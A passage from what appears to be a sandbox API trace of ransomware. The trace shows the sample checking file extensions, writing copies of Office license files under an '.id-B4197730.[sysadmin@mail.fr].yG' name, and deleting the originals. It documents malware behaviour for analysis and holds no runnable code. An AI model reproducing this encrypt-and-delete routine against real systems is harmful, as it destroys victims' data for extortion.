	[0164.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.697] lstrlenW (lpString=".zip") returned 4
	[0164.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.697] lstrlenW (lpString=".rar") returned 4
	[0164.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.698] lstrlenW (lpString=".bz2") returned 4
	[0164.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.698] lstrlenW (lpString=".7z") returned 3
	[0164.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.698] lstrlenW (lpString=".dbf") returned 4
	[0164.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.698] lstrlenW (lpString=".1cd") returned 4
	[0164.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0164.698] lstrlenW (lpString=".jpg") returned 4
	[0164.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.698] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0164.699] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34
	[0164.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0165.109] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=22094) returned 1
	[0165.109] CloseHandle (hObject=0x4d8) returned 1
	[0165.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220
	[0165.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0165.110] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.110] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0165.111] GetLastError () returned 0x0
	[0165.111] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x564e, lpOverlapped=0x0) returned 1
	[0165.119] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5650, lpOverlapped=0x0) returned 1
	[0165.121] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.121] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0165.121] SetEndOfFile (hFile=0x558) returned 1
	[0165.121] CloseHandle (hObject=0x558) returned 1
	[0165.121] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.121] SetEndOfFile (hFile=0x4d8) returned 1
	[0165.130] CloseHandle (hObject=0x4d8) returned 1
	[0165.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1
	[0165.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.132] lstrlenW (lpString=".doc") returned 4
	[0165.132] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0165.132] lstrlenW (lpString=".docx") returned 5
	[0165.132] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0165.132] lstrlenW (lpString=".pdf") returned 4
	[0165.132] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString=".xls") returned 4
	[0165.133] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString=".xlsx") returned 5
	[0165.133] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0165.133] lstrlenW (lpString=".ppt") returned 4
	[0165.133] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.133] lstrlenW (lpString=".zip") returned 4
	[0165.133] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString=".rar") returned 4
	[0165.133] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString=".bz2") returned 4
	[0165.133] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString=".7z") returned 3
	[0165.133] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0165.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.133] lstrlenW (lpString=".dbf") returned 4
	[0165.133] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0165.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.133] lstrlenW (lpString=".1cd") returned 4
	[0165.134] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.135] lstrlenW (lpString=".jpg") returned 4
	[0165.135] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.135] lstrlenW (lpString=".doc") returned 4
	[0165.135] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".docx") returned 5
	[0165.135] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0165.135] lstrlenW (lpString=".pdf") returned 4
	[0165.135] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".xls") returned 4
	[0165.135] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".xlsx") returned 5
	[0165.135] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0165.135] lstrlenW (lpString=".ppt") returned 4
	[0165.135] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.135] lstrlenW (lpString=".zip") returned 4
	[0165.135] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".rar") returned 4
	[0165.135] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".bz2") returned 4
	[0165.135] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0165.135] lstrlenW (lpString=".7z") returned 3
	[0165.136] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0165.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.136] lstrlenW (lpString=".dbf") returned 4
	[0165.136] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0165.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.136] lstrlenW (lpString=".1cd") returned 4
	[0165.136] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0165.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0165.136] lstrlenW (lpString=".jpg") returned 4
	[0165.136] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0165.136] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0165.136] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37
	[0165.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0165.146] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11621) returned 1
	[0165.146] CloseHandle (hObject=0x4d8) returned 1
	[0165.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220
	[0165.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0165.147] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.147] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0165.179] GetLastError () returned 0x0
	[0165.179] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0165.219] WriteFile (in: hFile=0x568, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0165.220] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.220] WriteFile (in: hFile=0x568, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0165.220] SetEndOfFile (hFile=0x568) returned 1
	[0165.220] CloseHandle (hObject=0x568) returned 1
	[0165.221] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.221] SetEndOfFile (hFile=0x4d8) returned 1
	[0166.446] CloseHandle (hObject=0x4d8) returned 1
	[0166.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.954] lstrlenW (lpString=".doc") returned 4
	[0166.954] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.954] lstrlenW (lpString=".docx") returned 5
	[0166.954] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.954] lstrlenW (lpString=".pdf") returned 4
	[0166.954] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.954] lstrlenW (lpString=".xls") returned 4
	[0166.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.954] lstrlenW (lpString=".xlsx") returned 5
	[0166.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.955] lstrlenW (lpString=".ppt") returned 4
	[0166.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.955] lstrlenW (lpString=".zip") returned 4
	[0166.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString=".rar") returned 4
	[0166.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString=".bz2") returned 4
	[0166.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString=".7z") returned 3
	[0166.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.955] lstrlenW (lpString=".dbf") returned 4
	[0166.955] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.955] lstrlenW (lpString=".1cd") returned 4
	[0166.955] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.955] lstrlenW (lpString=".jpg") returned 4
	[0166.955] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.956] lstrlenW (lpString=".doc") returned 4
	[0166.957] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".docx") returned 5
	[0166.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.957] lstrlenW (lpString=".pdf") returned 4
	[0166.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".xls") returned 4
	[0166.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".xlsx") returned 5
	[0166.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.957] lstrlenW (lpString=".ppt") returned 4
	[0166.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.957] lstrlenW (lpString=".zip") returned 4
	[0166.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".rar") returned 4
	[0166.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".bz2") returned 4
	[0166.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.957] lstrlenW (lpString=".7z") returned 3
	[0166.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.957] lstrlenW (lpString=".dbf") returned 4
	[0166.958] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.958] lstrlenW (lpString=".1cd") returned 4
	[0166.958] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0166.958] lstrlenW (lpString=".jpg") returned 4
	[0166.958] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.958] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0166.958] lstrlenW (lpString="HomeBusinessR_Retail3-pl.xrm-ms") returned 31
	[0166.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0166.959] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=10659) returned 1
	[0166.959] CloseHandle (hObject=0x51c) returned 1
	[0166.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220
	[0166.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0166.985] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.985] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.988] GetLastError () returned 0x0
	[0166.988] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0166.990] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0166.991] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.991] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x112, lpOverlapped=0x0) returned 1
	[0166.991] SetEndOfFile (hFile=0x558) returned 1
	[0166.992] CloseHandle (hObject=0x558) returned 1
	[0166.992] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.992] SetEndOfFile (hFile=0x51c) returned 1
	[0166.996] CloseHandle (hObject=0x51c) returned 1
	[0166.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1
	[0166.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.998] lstrlenW (lpString=".doc") returned 4
	[0166.998] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.998] lstrlenW (lpString=".docx") returned 5
	[0166.998] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.998] lstrlenW (lpString=".pdf") returned 4
	[0166.998] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.998] lstrlenW (lpString=".xls") returned 4
	[0166.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.998] lstrlenW (lpString=".xlsx") returned 5
	[0166.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.998] lstrlenW (lpString=".ppt") returned 4
	[0166.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString=".zip") returned 4
	[0166.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString=".rar") returned 4
	[0166.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString=".bz2") returned 4
	[0166.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString=".7z") returned 3
	[0166.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString=".dbf") returned 4
